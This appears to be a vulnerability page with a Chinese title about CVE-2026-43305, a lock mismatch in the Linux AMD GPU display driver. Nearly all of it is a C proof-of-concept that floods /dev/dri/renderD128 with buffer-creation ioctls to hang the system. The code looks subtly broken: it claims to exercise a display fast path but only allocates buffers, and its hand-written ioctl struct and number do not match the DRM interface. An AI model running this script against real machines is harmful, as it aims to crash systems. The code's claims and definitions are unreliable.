CVE-2026-43305 Linux内核AMD显卡驱动锁不匹配漏洞

/* * PoC for CVE-2026-43305 * This code attempts to trigger the HWSS fast path mismatch * by performing display operations on an affected AMD GPU. * Note: This is a conceptual trigger and requires specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DRM_AMDGPU_GEM_CREATE 0x00 #define DRM_AMDGPU_CS 0x04 #define DRM_IOCTL_AMDGPU_GEM_CREATE _IOWR(0x64, DRM_AMDGPU_GEM_CREATE, struct drm_amdgpu_gem_create) struct drm_amdgpu_gem_create { __u64 bo_size; __u32 alignment; __u32 domains; }; int main() { int fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_amdgpu_gem_create create = {0}; create.bo_size = 4096; create.domains = 2; // GTT domain // Rapidly triggering display operations to hit the fast path for(int i = 0; i < 1000; i++) { if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &create) != 0) { perror("IOCTL failed"); break; } } close(fd); printf("Exploit triggered. System may hang if vulnerable.\n"); return 0; }